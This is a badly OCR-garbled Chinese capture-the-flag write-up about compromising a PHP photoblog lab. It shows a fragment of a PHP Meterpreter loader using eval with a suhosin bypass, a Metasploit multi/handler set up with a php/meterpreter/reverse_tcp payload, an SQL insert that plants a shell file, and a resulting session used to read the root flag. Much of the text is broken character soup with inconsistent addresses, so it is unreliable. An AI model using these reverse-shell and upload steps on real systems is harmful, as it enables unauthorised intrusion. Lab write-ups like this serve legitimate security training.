tch f$H_t”pH} { case 'stream': $len = fread($s, 4); ; case 'secket': $le
4); break; } if (!$len) { die(); } %$a = unpack("Nlen", $len); $len = $a['len']; $b = "'
rl n{$b} < $len) { switch ($s type) { case 'stream': $b .= fread($s, $1wn strlien($b)); break;
e d($s, $len-strlen(s$b)); b k; } } $GLOBALS['m ock $GLOBALS[ " ms
sion_loaded('suhosin') && ini_get('suhosin le eval')) { $suh
, $b); $suhosin bypass(); } else { eval($b);

A AE BIXEHMEfE & BE&4 R T phpfRi5, gedit shelled.phpfE AR AL I ik 5 R 1F
:~/Desktop# gedit shellcd.php

BAIE, BAIT/EER—ANEIiR, RAIIIAEST Fmsfconsole
T LUREEAMER use exploit/multi/handler
SR 5 set payload php/meterpreter/reverse_tcp

RIGEFE— FTf1FEZE KIS Hishow opions, B 582 JaruntidT MW
® Wildcard Target

msf5 exploit( ) = set lhost 19.22.38.234
lhost == 18.22.38.234

msf5 exploit( ) = run

reverse TCP handler on 10.22.38.234:4444

ETRBANFELALWY, BTN EEBRIRES IR, KRBT Z S S WL
gt i BENL FIA . php B30 PHP
BARBAN % A= NDNEKphpRBEE

dministration of my Awe:

XA RNO PHP!
B REAT_E4E Kshelled.PHP



dministration of my A

MSERT INTO pictures (title, img, cat) VALUES (‘shellcd’,'shellcd. PHP
Hacker Eﬁﬁéﬂg[

uby IM[
C:thLﬂerlﬁ]EﬁEﬁE;[
shellcd |delete

dd a new picture

sl
[=3

AUAURIL, BATIAE AL T —A shelled, MAI EAEEL R REWTA R, WAV R b7 .

My Photoblog - last picture - Mozilla Firefox @ O €

root@kali: ~/Deskto

(—_ File Edit View Search Terminal Help
2 Payload options (php/meterpreter/reverse tcp):

Name escription
LHOST The listen addre
\/1 LPORT 4444 5 The listen port

Exploit target:
Id Name
® Wildcard Target
msf5 exploit( ) = set lhost 10.22.38.234
lhost == 18.22.38.234
msf5 exploit( ) = run
TCP handler on 10.22.38.234:4444
8

3247 byt to 10.22.66.167
ion 1 opened (10.22.38.234:4444 ->= 10.22.

tead 10.22.66.167 —“"l ]

REFEZJERI, BAIZATHEIHRE T RATHEZKshell
RAVIAEREE — T RAME8: sysinfo

sysinfo
debian
Linux debian 2.6.32-5-686 #1 SMP Sun May 6 ©4:01:19 UTC 2012 1686

php/linux

MREE], BIERAMIRANNZRA

3K HFlag



—REOLT, EHHLESKAagE R BAEMRSSIIME T, froot/H .

cd /root/
Is

cat flag
Writeup AR SRS 45 304

MR TIELE AR T & E FlagE k75 Z 12 F rootBU R ;
ERARIG IR RENPIFlagl, REATHIHSQUIEANRR, i@ ZiwiRRBxT M Hshell;
ISE
IR MR ESQLIENIRE, 7] LR A sqlmapit 1T KRBV ;

RBETLSshel 2 5, TP RE HERMN . WRE LR T T UG 2Iflag, A2 MATER
SQUIEANEEZEM LALRRAE S, Likshell
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